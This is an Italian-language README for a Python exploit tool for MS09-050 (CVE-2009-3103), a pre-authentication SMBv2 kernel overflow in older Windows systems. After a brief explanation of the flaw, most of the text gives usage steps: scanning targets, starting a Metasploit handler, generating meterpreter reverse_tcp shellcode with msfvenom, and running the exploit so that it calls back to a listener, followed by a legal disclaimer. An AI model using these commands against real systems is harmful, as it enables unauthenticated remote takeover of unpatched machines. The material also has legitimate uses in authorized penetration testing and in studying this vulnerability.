Exploit Python per MS09-050 (CVE-2009-3103) overflow di buffer in srv2.sys di SMBv2, con scanner di vulnerabilità, rilevamento automatico dell'architettura e payload reverse shell x86/x64.
CVE-2009-3103
Windows Vista e Server 2008 hanno introdotto SMBv2 con un nuovo driver kernel, srv2.sys. Questo driver non riesce a convalidare il campo Process Id High nelle richieste di negoziazione SMB. Inviando un valore appositamente predisposto in questo campo, un attaccante induce srv2.sys a indicizzare una tabella di puntatori a funzione con un valore controllato, dereferenziando un indirizzo fornito dall'attaccante.
Il risultato è l'esecuzione di codice arbitrario in contesto kernel, senza necessità di autenticazione. L'attaccante deve solo raggiungere la porta 445.
Microsoft ha corretto questa vulnerabilità nell'ottobre 2009 (KB975517). Qualsiasi sistema Vista SP1/SP2 o Server 2008 SP1 non aggiornato è vulnerabile.
| Sistema operativo di destinazione | Architettura |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload per scegliere un payload personalizzato-s)[+] successo, [-] errore, [!] avviso, [*] informazionigit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Requisiti:
rpcclient (dal pacchetto smbclient), utilizzato per attivare il payload dopo l'iniezionemsfvenom, necessario solo se si utilizza il flag --msfvenomSu Debian/Ubuntu:
sudo apt install smbclient
Su Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Output:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Utilizza uno stager meterpreter/reverse_tcp. Avvia prima il tuo handler:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Poi esegui l'exploit:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Genera lo shellcode grezzo una volta, riutilizzalo senza msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Poi passalo all'exploit:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request SMB1 per identificare la versione del sistema operativo e l'architettura di destinazionesrv2.sysQuesto strumento è fornito esclusivamente per test di penetrazione autorizzati e scopi educativi.
L'accesso non autorizzato a sistemi informatici costituisce reato penale nella maggior parte delle giurisdizioni. È necessario ottenere un'autorizzazione scritta esplicita dal proprietario del sistema prima di utilizzare questo strumento contro qualsiasi target. Gli autori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo software.
Utilizzando questo strumento, accetti che:
Usa responsabilmente. Hackera eticamente.